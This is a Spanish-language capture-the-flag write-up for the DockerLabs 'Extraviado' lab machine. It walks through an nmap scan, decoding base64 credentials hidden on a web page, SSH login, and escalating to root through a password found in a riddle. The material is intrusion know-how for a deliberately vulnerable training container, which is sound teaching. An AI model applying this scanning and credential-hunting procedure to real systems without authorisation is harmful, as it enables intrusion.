> For the complete documentation index, see [llms.txt](https://brias.gitbook.io/brias/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://brias.gitbook.io/brias/dockerlabs/dificultad-facil/extraviado.md).
# Extraviado
#### **Despliegue de la Máquina:**
**Descarga:**
Accedemos a la web oficial de [DockerLabs](https://dockerlabs.es/), buscamos la máquina **Extraviado** y pulsamos en el botón de descarga. Esto nos redirige a un enlace de Mega, desde donde descargamos un archivo comprimido que contiene tanto la imagen de la máquina como el script necesario para su ejecución.
**Descompresión:**
Utilizamos la herramienta `7z` para descomprimir el archivo:
```bash
7z x extraviado.zip
```
**Ejecución:**
Ejecutamos el script `auto_deploy.sh` que automatiza el despliegue del contenedor vulnerable en Docker:
```bash
bash auto_deploy.sh extraviado.tar
```
***
#### **Reconocimiento:**
**Verificación de Conectividad:**
Realizamos un `ping` a la dirección IP de la máquina (`172.17.0.2`) para confirmar que está activa:
```bash
ping -c 1 172.17.0.2
```
**Escaneo de Puertos:**
Realizamos un escaneo rápido con `nmap` para identificar puertos abiertos:
```bash
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 172.17.0.2 -oG allPorts
```
**Puertos abiertos encontrados:**
* **Puerto 22:** `SSH`.
* **Puerto 80:** `HTTP`.
**Escaneo Detallado:**
Analizamos los puertos encontrados con mayor profundidad:
```bash
nmap -p22,80 -sCV 172.17.0.2 -oN targeted
```
**Servicios detectados:**
* **SSH:** OpenSSH 9.6p1.
* **HTTP:** Apache httpd 2.4.58.
**Enumeración Web:**
Accedemos vía navegador a `http://172.17.0.2` y encontramos la página por defecto de Apache. Al pie de la página, identificamos unas posibles credenciales codificadas en base64:
```bash
#.........................................................................................................ZGFuaWVsYQ== : Zm9jYXJvamE=
```
Decodificamos las credenciales:
```bash
echo "ZGFuaWVsYQ==" | base64 -d; echo # Usuario: daniela
```
```bash
echo "Zm9jYXJvamE=" | base64 -d; echo # Contraseña: focaroja
```
***
#### **Explotación:**
Con las credenciales obtenidas, procedemos a iniciar sesión por SSH:
```bash
ssh daniela@172.17.0.2
```
Una vez dentro, exploramos el directorio personal del usuario `daniela` y detectamos un directorio oculto `.secreto`.
Dentro, encontramos un archivo llamado `passdiego` que contiene una contraseña codificada en base64 para el usuario `diego`:
```bash
YmFsbGVuYW5lZ3Jh
```
Decodificamos la contraseña con el siguiente comando:
```bash
echo "YmFsbGVuYW5lZ3Jh" | base64 -d; echo # Resultado: ballenanegra
```
***
#### **Escalada de Privilegios:**
Nos autenticamos como el usuario `diego`:
```bash
su diego
```
En el directorio `/home/diego/.local/share`, encontramos un archivo oculto llamado `.-` que contiene un acertijo:
```
En un mundo de hielo, me muevo sin prisa,
con un pelaje que brilla, como la brisa.
No soy un rey, pero en cuentos soy fiel,
de un color inusual, como el cielo y el mar también.
Soy amigo de los niños, en historias de ensueño.
¿Quién soy, que en el frío encuentro mi dueño?
```
La respuesta al acertijo es `osoazul`, que resulta ser la contraseña del usuario `root`:
```bash
su root
```